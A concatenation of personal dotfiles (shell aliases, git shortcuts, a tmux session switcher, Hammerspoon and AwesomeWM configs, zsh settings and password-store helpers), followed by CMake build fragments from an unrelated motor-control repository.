Finding text in files aka grepping. <file_sep>/sh/sh/utils.sh #!/usr/bin/env bash v() { session_path="$HOME/.obsessions/$(basename "$PWD").vim" if [ -f "$session_path" ] && [ $# -eq 0 ]; then nvim -S "$session_path" else nvim -p "$@" fi } alias vim=v alias vv='nvim' alias vvv='nvim -u NORC' o() { if command -v xdg-open; then xdg-open "$@" return fi if command -v open; then open "$@" return fi return 1 } alias g='grep -i' alias serve-http='python3 -m http.server' l() { # https://github.com/ogham/exa command -v exa &> /dev/null if [ "$?" != "0" ]; then ls -lahtr "$@" else exa -lag -s modified "$@" fi } t() { # https://github.com/ogham/exa command -v exa &> /dev/null if [ "$?" != "0" ]; then tree -a -I ".git" "$@" else exa -aT -I ".git" --level=7 "$@" fi } mkcd() { mkdir -p "$@" && cd "$@" } dff() { command -v colordiff &> /dev/null if [ "$?" != "0" ]; then diff -u "$@" | less else colordiff -u "$@" | less fi } json-prettify() { python -c 'import fileinput, json; print(json.dumps(json.loads("".join(fileinput.input())), indent=2))' } generate-password() { xkcdpass -d "-" } format-json() { cat "$@" | python -m json.tool } ip-addresses() { ifconfig | grep "inet " | grep -v 127.0.0.1 | awk '{print $2}' curl ipecho.net/plain echo } aux() { ps aux | head -n 1 ps aux | grep -i "$@" | grep -v 'grep -i' } auxpid() { aux $@ | awk '{print $2}' | tail -n 1 } alias ka='killall' alias k9='kill -9' open-preview() { open -a /Applications/Preview.app $@ } open-chrome() { open -a /Applications/Google\ Chrome.app $@ } s() { source .env && echo '.env sourced!' } p() { command -v prettyping &> /dev/null if [ "$?" != "0" ]; then ping google.com else prettyping --nolegend google.com fi } video-to-gif() { FPS="${FPS:-10}" SCALE="${SCALE:-640}" ffmpeg -i "$@" -vf fps=$FPS,scale=$SCALE:-1:flags=lanczos,palettegen palette.png ffmpeg -i "$@" -i palette.png -filter_complex "fps=$FPS,scale=$SCALE:-1:flags=lanczos[x];[x][1:v]paletteuse" recording.gif rm palette.png } alias dc=cd port-used() { lsof -nP -i4TCP:"$1" | grep LISTEN } man() { page="$1" if [ $# -eq 0 ]; then page=$(apropos . | awk '{print $1}' | sort -u | fzf) fi command man "$page" } gg() { clear tmux clear-history } clip() { if [ "$(uname)" = "Darwin" ]; then pbcopy "$@" else xclip -f "$@" | xclip -selection clipboard fi } n() { nix-shell --command "SHELL=$SHELL $SHELL" -p "$1" } yt2mp3() { local output="/mnt/nixos-shared/youtube-dled" local url="$1" local year="$2" if [ -z "$1" ]; then echo "No URL" return 1 fi if [ -z "$2" ]; then echo "No year" return 1 fi local working_dir=$(mktemp -d) cd "$working_dir" yt-dlp --extract-audio --audio-format mp3 --audio-quality 0 \ --embed-thumbnail \ --embed-metadata \ --parse-metadata "youtube\:track\:%(id)s:%(meta_comment)s" \ --parse-metadata "%(playlist_index)s:%(meta_track)s" \ --parse-metadata "%(release_year)s:%(meta_year)s" \ --output "%(album)s/%(artist)s - %(track)s.%(ext)s" \ "$url" # Fixing up the year because YouTube is not reliable. for d in */; do cd "$d" id3v2 --year "$year" * done mv "$working_dir"/* "$output" cd "$output" } <file_sep>/hammerspoon/README.md # Hammerspoon Scripting engine for macOS. Used for keyboard shortcuts, windows management and different automations. <file_sep>/sh/sh/mux.sh #!/usr/bin/env bash mux() { "$HOME/sh/mux.js" "$1" } <file_sep>/git/README.md # Git Our favorite distributed version control system. <file_sep>/sh/sh/super-caps.sh #!/usr/bin/env bash CAPS_KEYCODE=66 # Make CapsLock act as Escape and Control. # Based on https://github.com/cmatheson/super-caps xmodmap -e "clear Lock" xmodmap -e "keycode $CAPS_KEYCODE = Control_L" xmodmap -e "add Control = Control_L" xmodmap -e "add Lock = Caps_Lock" xmodmap -e "keycode 999 = Escape" xcape -e "Control_L=Escape" # cat ~/.xprofile # ./sh/super-caps.sh || true <file_sep>/nix/README.md # Nix Nix & NixOS configuration for declarative, reliable and reproducible system. ## Setup for VirtualBox on Windows ### Setting the Icon File ```sh cd C:\Program Files\Oracle\VirtualBox VBoxManage.exe modifyvm NixOS --iconfile "C:\Users\me\Pictures\Icons\nixos.png" ``` <file_sep>/sh/sh/git.sh #!/usr/bin/env bash # Disable automatic git-lfs downloads. export GIT_LFS_SKIP_SMUDGE=1 GIT_LOG_PRETTY_FORMAT='%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cs, %cr) %C(bold blue)<%an>%Creset' alias ga="git add" alias gaa="git add -A" alias gbr="git branch" alias gc="git commit -v" alias gc!="git commit -v --amend --date=now" alias gcl="git clone" alias gcls="git clone --depth 1" alias gcm="git commit -v" alias gco="git checkout" alias gcob="git checkout -b" alias gcp="git cherry-pick" alias gd="git diff" gl() { rev_before=$(git rev-parse HEAD) git pull origin $(git branch | grep \* | cut -d ' ' -f2) if [ "$?" = "0" ]; then rev_after=$(git rev-parse HEAD) if [ "$rev_before" = "$rev_after" ]; then return 0 fi rev_range="$rev_before..$rev_after" rev_range_short="${rev_before:0:7}..${rev_after:0:7}" echo echo "$rev_range_short" git --no-pager log "$rev_range" \ --pretty=format:"$GIT_LOG_PRETTY_FORMAT" echo fi } alias gll='git-lfs pull' glg() { git log --graph --pretty=format:"$GIT_LOG_PRETTY_FORMAT" "$@" } alias gmr="git merge" alias gp="git push" alias grm="git rm" alias grs="git reset" alias grv="git revert" alias grb="git rebase" alias gs="git status -sb" gsw() { git --no-pager show "$@" | less -R --pattern '^diff --git' } alias gswl="git show --name-only" alias gtg="git tag" alias gfc="git fetch" alias git-delete-local-branch="git branch -D" alias git-delete-remote-branch="git push origin --delete" <file_sep>/tmux/README.md # Tmux Terminal multiplexer with tabs, splits and named sessions. The plugin manager and all the plugins should get auto-installed on the 1st run. <file_sep>/sh/README.md # Sh The good old shell scripts. <file_sep>/fzf/README.md # Fzf Fuzzy finder integrated with zsh, tmux, neovim & more. <file_sep>/asdf/README.md # Asdf The multiple runtime version manager that uses `.tool-versions` file. <file_sep>/sh/sh/mux.js #!/usr/bin/env node // Easy jumping between tmux/tmuxinator sessions via fzf. const process = require('process') const child_process = require('child_process') const fsPromises = require('fs/promises') const path = require('path') const os = require('os') const TMUXINATOR_PATH = path.join(os.homedir(), '.config/tmuxinator') const HISTORY_PATH = path.join(os.homedir(), '.mux-history') const spawnSh = (command) => new Promise((resolve, reject) => { const sh = child_process.spawn('sh', ['-c', command], { stdio: ['inherit', 'pipe', 'inherit'], }) const response = { ok: false, stdout: '' } sh.stdout.on('data', (data) => { response.stdout = data.toString() }) sh.on('close', (code) => { response.ok = code === 0 resolve(response) }) }) const getActiveSessions = async () => { const { ok, stdout } = await spawnSh('tmux ls') if (!ok) { return [] } return stdout .split('\n') .slice(0, -1) .map((line) => line.split(':', 1)[0]) } const getTmuxinatorSessions = async () => { let fileNames = [] try { fileNames = await fsPromises.readdir(TMUXINATOR_PATH) } catch (e) { if (e.code === 'ENOENT') { return [] } throw e } return fileNames.map((fileName) => fileName.replace(/\.yml$/, '')) } const getHistorySessions = async (activeSessions, tmuxinatorSessions) => { let fileContent = '' try { fileContent = await fsPromises.readFile(HISTORY_PATH, 'utf8') } catch (e) { return [] } const historySessions = fileContent.split('\n').slice(0, -1) // Filter out "expired sessions". return historySessions.filter( (session) => activeSessions.includes(session) || tmuxinatorSessions.includes(session), ) } const updateHistory = async (nextSession, historySessions) => { const fileContent = historySessions .filter((session) => nextSession !== session) .concat(nextSession) .join('\n') + '\n' await fsPromises.writeFile(HISTORY_PATH, fileContent) } const getCurrentSession = async () => { const { ok, stdout } = await spawnSh("tmux display-message -p '#S'") if (!ok) { return } return stdout.trim() } const removeDuplicates = (list) => { return list.filter((item, index) => list.indexOf(item) === index) } const sessionSorter = (activeSessions, historySessions) => (a, b) => { const isActiveA = activeSessions.includes(a) const isActiveB = activeSessions.includes(b) if (isActiveA && !isActiveB) { return -1 } if (!isActiveA && isActiveB) { return 1 } const historyIndexA = historySessions.indexOf(a) const historyIndexB = historySessions.indexOf(b) if (historyIndexA > historyIndexB) { return -1 } if (historyIndexA < historyIndexB) { return 1 } if (a > b) { return -1 } if (a < a) { return 1 } return 0 } const selectWithFzf = async (sessions) => { const { stdout, ok } = await spawnSh( `echo '${sessions.join('\n')}' | fzf --tac --print-query`, ) const [query, match] = stdout.split('\n') const selection = match || query return selection } const switchToTmuxSession = async (session) => { const isRunningInTmux = process.env['TMUX'] !== undefined const { ok } = await spawnSh( `tmux ${isRunningInTmux ? 'switch' : 'attach'} -t '${session}'`, ) return ok } const startNewTmuxinatorSession = async (session) => { const { ok, stdout } = await spawnSh( `tmuxinator start --suppress-tmux-version-warning=SUPPRESS-TMUX-VERSION-WARNING '${session}'`, ) return ok } const startNewTmuxSession = async (session) => { const { ok } = await spawnSh(`tmux new -c ~ -d -s '${session}'`) return ok } const main = async () => { const activeSessions = await getActiveSessions() const tmuxinatorSessions = await getTmuxinatorSessions() const historySessions = await getHistorySessions( activeSessions, tmuxinatorSessions, ) const currentSession = await getCurrentSession() const sessions = removeDuplicates([...activeSessions, ...tmuxinatorSessions]) .filter((session) => session !== currentSession) .sort(sessionSorter(activeSessions, historySessions)) .map((session) => { const isActive = activeSessions.includes(session) return `${isActive ? '[+]' : '[ ]'} ${session}` }) .reverse() let nextSession = process.argv[2] if (!nextSession) { nextSession = await selectWithFzf(sessions) if (nextSession) { nextSession = nextSession.replace(/^\[[+ ]\] /, '') } } // No selection was made by user, do nothing. if (!nextSession) { return } // No need to switch, do nothing. if (currentSession === nextSession) { return } // Update history when selection is confirmed, just before switching to it. await updateHistory(nextSession, historySessions) // Try switching to tmux session. if (await switchToTmuxSession(nextSession)) { return } // If we couldn't switch, try starting a tmuxinator session. if (await startNewTmuxinatorSession(nextSession)) { return } // If we couldn't start a tmuxinator session, create a tmux session and switch to it. await startNewTmuxSession(nextSession) await switchToTmuxSession(nextSession) } main() <file_sep>/hammerspoon/.hammerspoon/init.lua -- This allows to use "hs" command from the terminal. require("hs.ipc") hs.configdir = os.getenv('HOME') .. '/.hammerspoon' package.path = hs.configdir .. '/?.lua;' .. hs.configdir .. '/?/init.lua;' .. hs.configdir .. '/Spoons/?.spoon/init.lua;' .. package.path -- Plugins (aka Spoons) {{{ local PassChooser = hs.loadSpoon('PassChooser') PassChooser:bindHotkeys({ show={{'cmd'}, 'p'}, }) PassChooser:init({ clearAfter=10, }) -- }}} -- Libraries {{{ local function openApp(app_name, new) new = new or false local s = 'open' if new then s = s .. ' -n' end s = s .. " -a '/Applications/" .. app_name .. ".app'" hs.execute(s) end local function closeNotifications() local s = [[ tell application "System Events" tell process "NotificationCenter" set numwins to (count windows) repeat with i from numwins to 1 by -1 try click button "Close" of window i end try try click button "Cancel" of window i end try try click button "Not Now" of window i end try try click button "Mark as Read" of window i end try end repeat end tell end tell ]] return hs.osascript.applescript(s) end local function airPods(deviceName) local s = [[ activate application "SystemUIServer" tell application "System Events" tell process "SystemUIServer" set btMenu to (menu bar item 1 of menu bar 1 whose description contains "bluetooth") tell btMenu click ]] .. 'tell (menu item "' .. deviceName .. '" of menu 1)\n' .. [[ click if exists menu item "Connect" of menu 1 then click menu item "Connect" of menu 1 return "Connecting AirPods..." else click menu item "Disconnect" of menu 1 return "Disconecting AirPods..." end if end tell end tell end tell end tell ]] return hs.osascript.applescript(s) end local function focusFrontmost() local frontmostWindow = hs.window.frontmostWindow() frontmostWindow:focus() end local function setFrontmostWindowPosition(fn) local frontmostWindow = hs.window.frontmostWindow() local currentScreen = frontmostWindow:screen() local frame = currentScreen:frame() local nextFrame = currentScreen:localToAbsolute( fn(frame.w, frame.h, frame.x, frame.y) ) frontmostWindow:setFrame(nextFrame) end -- }}} -- Applications {{{ -- Finder. hs.hotkey.bind({'cmd', 'shift'}, 'd', function() hs.execute('open -R ~/Downloads') end) -- Alacritty. hs.hotkey.bind({'cmd', 'shift'}, 'return', function() openApp('Alacritty', true) end) -- Firefox. hs.hotkey.bind({'cmd', 'shift'}, 'i', function() openApp('Firefox', true) end) -- Slack. hs.hotkey.bind({'cmd', 'shift'}, 's', function() openApp('Slack') end) -- Spark. hs.hotkey.bind({'cmd', 'shift'}, 'a', function() openApp('Spark') end) -- }}} -- Utils {{{ -- Close notifications. hs.hotkey.bind({'cmd'}, '/', function() closeNotifications() end) -- Clear clipboard. hs.hotkey.bind({'cmd'}, '.', function() hs.pasteboard.setContents('') hs.alert.show('Clipboard cleared') end) -- Connect AirPods. hs.hotkey.bind({'cmd'}, '\\', function() local ok, output = airPods('daGrevis’ AirPods') if ok then hs.alert.show(output) else hs.alert.show("Couldn't connect to AirPods!") end end) -- }}} -- Window Management {{{ -- Focus previously used window of the same app. hs.hotkey.bind({'cmd'}, 0x32, function() -- 0x32 is grave accent local front_app = hs.application.frontmostApplication() local windows if front_app:name() == 'Alacritty' then local rest_apps = hs.fnutils.ifilter({hs.application.find('Alacritty')}, function(app) return app:pid() ~= front_app:pid() end) local apps = hs.fnutils.concat({front_app}, rest_apps) windows = hs.fnutils.imap(apps, function(app) return app:allWindows()[1] end) else windows = hs.fnutils.ifilter(front_app:visibleWindows(), function(window) return window:subrole() == 'AXStandardWindow' end) end if #windows > 1 then windows[2]:focus() end end) -- Toggle fullscreen. hs.hotkey.bind({'cmd', 'ctrl'}, 'f', function() local frontmostWindow = hs.window.frontmostWindow() frontmostWindow:maximize() end) -- Move window to other screen. hs.hotkey.bind({'cmd', 'ctrl'}, 'tab', function() local frontmostWindow = hs.window.frontmostWindow() local currentScreen = frontmostWindow:screen() local allScreens = hs.screen.allScreens() local nextScreen = hs.fnutils.find(allScreens, function(screen) return screen:id() ~= currentScreen:id() end) if nextScreen then frontmostWindow:moveToScreen(nextScreen) frontmostWindow:maximize() end end) -- Center window. hs.hotkey.bind({'cmd', 'ctrl'}, 'c', function() local frontmostWindow = hs.window.frontmostWindow() frontmostWindow:setSize({ w=1024, h=768 }) frontmostWindow:centerOnScreen() end) -- Fill left-half of screen. hs.hotkey.bind({'cmd', 'alt'}, 'left', function() setFrontmostWindowPosition(function(w, h, x, y) return { w=w / 2, h=h, x=0, y=0 } end) end) -- Fill right-half of screen. hs.hotkey.bind({'cmd', 'alt'}, 'right', function() setFrontmostWindowPosition(function(w, h, x, y) return { w=w / 2, h=h, x=w / 2, y=0 } end) end) -- Fill top-half of screen. hs.hotkey.bind({'cmd', 'alt'}, 'up', function() setFrontmostWindowPosition(function(w, h, x, y) return { w=w, h=h / 2, x=0, y=0 } end) end) -- Fill bottom-half of screen. hs.hotkey.bind({'cmd', 'alt'}, 'down', function() setFrontmostWindowPosition(function(w, h, x, y) return { w=w, h=h / 2, x=0, y=h / 2 } end) end) -- Minimize window. hs.hotkey.bind({'cmd'}, 'h', function() local frontmostWindow = hs.window.frontmostWindow() frontmostWindow:minimize() end) -- Minimize everything aka go to the desktop. hs.hotkey.bind({'cmd', 'ctrl'}, 'h', function() local frontmostWindow = hs.window.frontmostWindow() local currentScreeen = frontmostWindow:screen() local allWindows = hs.window.allWindows() for _, window in pairs(allWindows) do if currentScreeen == window:screen() then window:minimize() end end end) -- }}} -- }}} -- Other {{{ hs.window.animationDuration = 0 hs.console.darkMode(true) -- }}} <file_sep>/neovim/README.md # Neovim The best text editor, definitely better than Emacs. The plugin manager and all the plugins should get auto-installed on the 1st run. <file_sep>/zsh/.oh-my-zsh-custom/themes/custom.zsh-theme # vim: set ft=zsh return_status() { if [ "$?" != "0" ]; then echo -n "%{$fg_bold[red]%}!%{$reset_color%} " else echo -n "%{$fg_bold[green]%}>%{$reset_color%} " fi } extra_status() { has_output=0 if [ $(whoami) = "root" ]; then has_output=1 echo -n "%{$fg_bold[red]%}[root]%{$reset_color%}" fi if [ -n "$SSH_CLIENT" ] || [ -n "$SSH_TTY" ]; then has_output=1 echo -n "%{$fg_bold[yellow]%}[ssh]%{$reset_color%}" fi if [ -n "$NVM_PATH" ]; then has_output=1 echo -n "%{$fg_bold[green]%}[nvm]%{$reset_color%}" fi if [ $has_output -eq 1 ]; then echo -n ' ' fi } PROMPT='$(return_status)$(extra_status)%{$fg[cyan]%}%c%{$reset_color%} $(git_prompt_info)' ZSH_THEME_GIT_PROMPT_PREFIX="%{$fg_bold[blue]%}git[%{$fg[white]%}" ZSH_THEME_GIT_PROMPT_SUFFIX="%{$reset_color%} " ZSH_THEME_GIT_PROMPT_DIRTY="%{$fg[yellow]%}±%{$fg[blue]%}]" ZSH_THEME_GIT_PROMPT_CLEAN="%{$fg[blue]%}]" <file_sep>/README.md # daGrevis' Dotfiles This repository contains configuration files for all kinds of software I'm using on daily basis. Also known as "dotfiles", these files allow to replicate my setup on another machine with relative ease. I'm using this to have practically identical setup between: - MacOS running on MacBook Pro - NixOS via VirtualBox running on desktop Windows - Ubuntu running on my private server ## Installation On both NixOS and MacOS I have Nix and home-manager installed. Then `home.nix` (in `nix/.config/home-manager`) can be used to manage symlinks, installed packages and other configuration. In theory, on a working Nix installation with home-manager installed as a standalone tool, all you would have to do is to symlink my `nix` configuration and rebuild the system. ### On NixOS ```sh sudo ln -s /home/dagrevis/Dotfiles/nix/etc/nixos /etc/nixos ln -s /home/dagrevis/Dotfiles/nix/.config/nixpkgs /home/dagrevis/.config/nixpkgs ln -s /home/dagrevis/Dotfiles/nix/.config/home-manager /home/dagrevis/.config/home-manager ``` ### On macOS ```sh ln -s /Users/dagrevis/Dotfiles/nix/.config/nixpkgs /Users/dagrevis/.config/nixpkgs ln -s /Users/dagrevis/Dotfiles/nix/.config/home-manager /Users/dagrevis/.config/home-manager ``` Then rebuilding the system and user environment should hopefully bring everything up! ```sh sudo nixos-rebuild switch --upgrade home-manager switch ``` In practice, you will probably need to know what you are doing because things might need some bit of tweaking here and there. :) Alternatively you can use `stow` to create the symlinks and skip all this fancy schmancy nix business. ```sh stow -t ~ -d ~/Dotfiles -v neovim ``` Example above would make symlinks for "neovim" package. All top-level directories in this repo can be symlinked in this way. <file_sep>/fzf/.fzf.zsh # Setup fzf # --------- command -v fzf &> /dev/null if [ "$?" != "0" ]; then export PATH="${PATH}:${HOME}/.fzf/bin" fi # Auto-completion # --------------- [[ $- == *i* ]] && source "${HOME}/.fzf/shell/completion.zsh" 2> /dev/null # Key bindings # ------------ source "${HOME}/.fzf-bindings.zsh" <file_sep>/awesome/README.md # Awesome Minimal WM for auto-opening Alacritty in fullscreen mode when I'm running NixOS via VirtualBox. <file_sep>/zsh/.zshrc export LC_ALL=en_US.UTF-8 export LANG=en_US.UTF-8 export EDITOR='nvim' export VISUAL="$EDITOR" export PAGER='less' export LESS='-RXi+gg' export MANPAGER="nvim -R -c \"execute 'Man ' . \$MAN_PN\" -c 'only' -" export GIT_PAGER='delta' GPG_TTY=`tty` export GPG_TTY s="" s+=":/usr/local/bin" s+=":/usr/local/opt" s+=":/opt/local/bin" s+=":/opt/local/sbin" s+=":/opt/homebrew/bin" s+=":$HOME/.cargo/bin" s+=":$PATH" export PATH="$s" # Load env from home-manager home.sessionVariables. HM_SESSION_VARS_SH="$HOME/.nix-profile/etc/profile.d/hm-session-vars.sh" if [ -f $HM_SESSION_VARS_SH ]; then source "$HM_SESSION_VARS_SH" fi # Load asdf for managing multiple runtime versions of node, ruby and so on. if [ -z "$ASDF_SH" ]; then ASDF_SH="/usr/local/opt/asdf/libexec/asdf.sh" fi source "$ASDF_SH" source ~/theme.sh DISABLE_AUTO_TITLE='true' export ZSH=~/.oh-my-zsh ZSH_CUSTOM=~/.oh-my-zsh-custom ZSH_THEME='custom' plugins=(autojump) source $ZSH/oh-my-zsh.sh unalias l ZSH_SYNTAX_HIGHLIGHTING="/usr/local/share/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh" [ -s "$ZSH_SYNTAX_HIGHLIGHTING" ] && . "$ZSH_SYNTAX_HIGHLIGHTING" ZSH_THEME_TERM_TAB_TITLE_IDLE='$(basename ${PWD/$HOME/"~"})/' bindkey '^X' edit-command-line # gcloud if [ -f '/Users/dagrevis/google-cloud-sdk/path.zsh.inc' ]; then . '/Users/dagrevis/google-cloud-sdk/path.zsh.inc'; fi if [ -f '/Users/dagrevis/google-cloud-sdk/completion.zsh.inc' ]; then . '/Users/dagrevis/google-cloud-sdk/completion.zsh.inc'; fi [ -f ~/.fzf.zsh ] && source ~/.fzf.zsh export FZF_DEFAULT_OPTS="--history=$HOME/.fzf_history \ --bind ctrl-n:next-history,ctrl-p:previous-history,ctrl-r:up,change:top \ --color='bg+:$THEME_BG3' --color='pointer:$THEME_WHITE' --color='hl:$THEME_GREEN' \ --no-separator" command -v fd &> /dev/null if [ "$?" != "0" ]; then export FZF_DEFAULT_COMMAND='find . -type f' else export FZF_DEFAULT_COMMAND='fd --type f --hidden --follow --exclude ".git"' fi export FZF_CTRL_T_COMMAND="$FZF_DEFAULT_COMMAND" _fzf_compgen_path() { command -v fd &> /dev/null if [ "$?" != "0" ]; then find "$1" -type f else fd --hidden --follow --exclude ".git" . "$1" fi } # Use fd to generate the list for directory completion _fzf_compgen_dir() { command -v fd &> /dev/null if [ "$?" != "0" ]; then find "$1" -type d else fd --type d --hidden --follow --exclude ".git" . "$1" fi } alias blender=/Applications/blender.app/Contents/MacOS/blender if [ -z "$TMUX" ]; then # Start default tmux session if not already running inside of tmux. mux default fi <file_sep>/awesome/.config/awesome/rc.lua pcall(require, "luarocks.loader") local gears = require("gears") local awful = require("awful") local beautiful = require("beautiful") local naughty = require("naughty") local menubar = require("menubar") if awesome.startup_errors then naughty.notify({ preset = naughty.config.presets.critical, title = "Oops, there were errors during startup!", text = awesome.startup_errors }) end do local in_error = false awesome.connect_signal("debug::error", function(err) if in_error then return end in_error = true naughty.notify({ preset = naughty.config.presets.critical, title = "Oops, an error happened!", text = tostring(err) }) in_error = false end) end modkey = "Mod1" terminal = "alacritty" fg1 = "#d6d6d7" bg0 = "#131a24" bg3 = "#29394f" white = "#dfdfe0" beautiful.init({ font = "RecursiveMnLnrSt Nerd Font 10", bg_normal = bg0, fg_normal = fg1, bg_focus = bg3, fg_focus = white, useless_gap = 0, border_width = 0, tasklist_plain_task_name = true, }) gears.wallpaper.set(bg0) menubar.utils.terminal = terminal menubar.show_categories = false awful.layout.layouts = { awful.layout.suit.max, } local tasklist_buttons = gears.table.join( awful.button( {}, 1, function(c) c:emit_signal( "request::activate", "tasklist", {raise = true} ) end ) ) awful.screen.connect_for_each_screen(function(s) awful.tag({"1"}, s, awful.layout.layouts[1]) end) global_keys = gears.table.join( awful.key( {modkey, "Shift"}, "Return", function() awful.spawn(terminal) end ), awful.key( {modkey, "Control"}, "r", function() awesome.restart() end ), awful.key( {modkey}, "p", function() menubar.show() end ) ) root.keys(global_keys) client_keys = gears.table.join( awful.key( {modkey}, "q", function(c) c:kill() end ), awful.key( {modkey}, "`", function() awful.client.focus.history.previous() if client.focus then client.focus:raise() end end ) ) client.connect_signal("unmanage", function() local c = awful.client.focus.history.get(s, 0) if c == nil then return end c:emit_signal( "request::activate", "tasklist", {raise = true} ) end) awful.rules.rules = { { rule = {}, properties = { focus = awful.client.focus.filter, raise = true, keys = client_keys, screen = awful.screen.preferred, placement = awful.placement.no_overlap + awful.placement.no_offscreen } } } awful.spawn.easy_async("pidof " .. terminal, function(stdout, stderr, reason, exit_code) local has_terminal_running = exit_code == 0 if not has_terminal_running then awful.spawn(terminal) end end) <file_sep>/zsh/.zshenv source ~/sh/utils.sh source ~/sh/git.sh source ~/sh/docker.sh source ~/sh/pass.sh source ~/sh/mux.sh <file_sep>/mpv/README.md # Mpv Video player. <file_sep>/sh/sh/pass.sh #!/usr/bin/env bash # https://www.passwordstore.org/ PASS_PATH=~/.password-store _pass-fzf() { # Select password with fzf. Call with: # - no arguments to select from all password # - top-level directory to limit selection (eg `home`) # - path to GPG file without extension (eg `home/github`) pw=$1 if [ "$pw" != "" ] && [ -f "$PASS_PATH/$pw.gpg" ]; then echo "$pw" return fi has_dir=0 if [ "$pw" != "" ] && [ -d "$PASS_PATH/$pw" ]; then has_dir=1 fi if [ "$pw" != "" ] && [ $has_dir = 0 ]; then echo 'Error: Directory not found' return 1 fi if [ "$pw" = "" ] || [ $has_dir ]; then pws=$(cd "$PASS_PATH" && find "./$pw" -type f -name '*.gpg' | sed -n 's/^\.\///p' | sed -n 's/\.gpg$//p') pw=$(echo "$pws" | fzf --print-query | tail -n1) fi if [ $has_dir = 1 ]; then echo "$1/$pw" else echo "$pw" fi } pws() { pass show "$(_pass-fzf "$1")" } pwe() { pass edit "$(_pass-fzf "$1")" } pwi() { pass edit "$1" } pwc() { pw=$(pass show "$(_pass-fzf "$1")" | head -n 1) echo -n "$pw" | clip }
0d0fe995dfa62f930b41f3cdd9dbf206389db53b
[ "Markdown", "JavaScript", "Shell", "Lua" ]
27
Markdown
daGrevis/Dotfiles
914f413f156e858b32655e3f0d7d0b5ca687b5dc
59ac6e67852e8abc9228e97e15822e71c0de57b1
refs/heads/main
<repo_name>vigno88/ClearPathMotor-rpi<file_sep>/CMakeFiles/Example-Motion.dir/cmake_clean.cmake file(REMOVE_RECURSE "CMakeFiles/Example-Motion.dir/src/SDK_Examples/Example-Motion/Example-Motion.cpp.o" "Example-Motion.pdb" "Example-Motion" ) # Per-language clean rules from dependency scanning. foreach(lang CXX) include(CMakeFiles/Example-Motion.dir/cmake_clean_${lang}.cmake OPTIONAL) endforeach() <file_sep>/CMakeFiles/Example-GPIO.dir/cmake_clean.cmake file(REMOVE_RECURSE "CMakeFiles/Example-GPIO.dir/src/SDK_Examples/Example-GPIO/Example-GPIO.cpp.o" "Example-GPIO.pdb" "Example-GPIO" ) # Per-language clean rules from dependency scanning. foreach(lang CXX) include(CMakeFiles/Example-GPIO.dir/cmake_clean_${lang}.cmake OPTIONAL) endforeach() <file_sep>/CMakeFiles/LibMotors.dir/cmake_clean_target.cmake file(REMOVE_RECURSE "libLibMotors.a" ) <file_sep>/CMakeFiles/LibMotors.dir/DependInfo.cmake # The set of languages for which implicit dependencies are needed: set(CMAKE_DEPENDS_LANGUAGES "CXX" ) # The set of files for implicit dependencies of each language: set(CMAKE_DEPENDS_CHECK_CXX "/home/pi/ClearPathMotor/src/LibINI/src/dictionary.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/LibINI/src/dictionary.cpp.o" "/home/pi/ClearPathMotor/src/LibINI/src/iniparser.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/LibINI/src/iniparser.cpp.o" "/home/pi/ClearPathMotor/src/LibLinuxOS/src/tekEventsLinux.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/tekEventsLinux.cpp.o" "/home/pi/ClearPathMotor/src/LibLinuxOS/src/tekThreadsLinux.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/tekThreadsLinux.cpp.o" "/home/pi/ClearPathMotor/src/LibLinuxOS/src/version.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/version.cpp.o" "/home/pi/ClearPathMotor/src/LibMotors/src/clearPathMotors.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/LibMotors/src/clearPathMotors.cpp.o" "/home/pi/ClearPathMotor/src/LibMotors/src/motors.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/LibMotors/src/motors.cpp.o" "/home/pi/ClearPathMotor/src/LibXML/src/ErrCodeStr.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/LibXML/src/ErrCodeStr.cpp.o" "/home/pi/ClearPathMotor/src/LibXML/src/pugixml.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/LibXML/src/pugixml.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src-linux/SerialLinux.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/sFoundation/src-linux/SerialLinux.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src-linux/lnkAccessLinux.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/sFoundation/src-linux/lnkAccessLinux.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/SerialEx.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/sFoundation/src/SerialEx.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/converterLib.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/sFoundation/src/converterLib.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/cpmAPI.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/sFoundation/src/cpmAPI.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/cpmClassImpl.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/sFoundation/src/cpmClassImpl.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/iscAPI.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/sFoundation/src/iscAPI.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/lnkAccessCommon.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/sFoundation/src/lnkAccessCommon.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/meridianNet.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/sFoundation/src/meridianNet.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/netCmdAPI.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/sFoundation/src/netCmdAPI.cpp.o" "/home/pi/ClearPathMotor/src/sFoundation/src/netCoreFmt.cpp" "/home/pi/ClearPathMotor/CMakeFiles/LibMotors.dir/src/sFoundation/src/netCoreFmt.cpp.o" 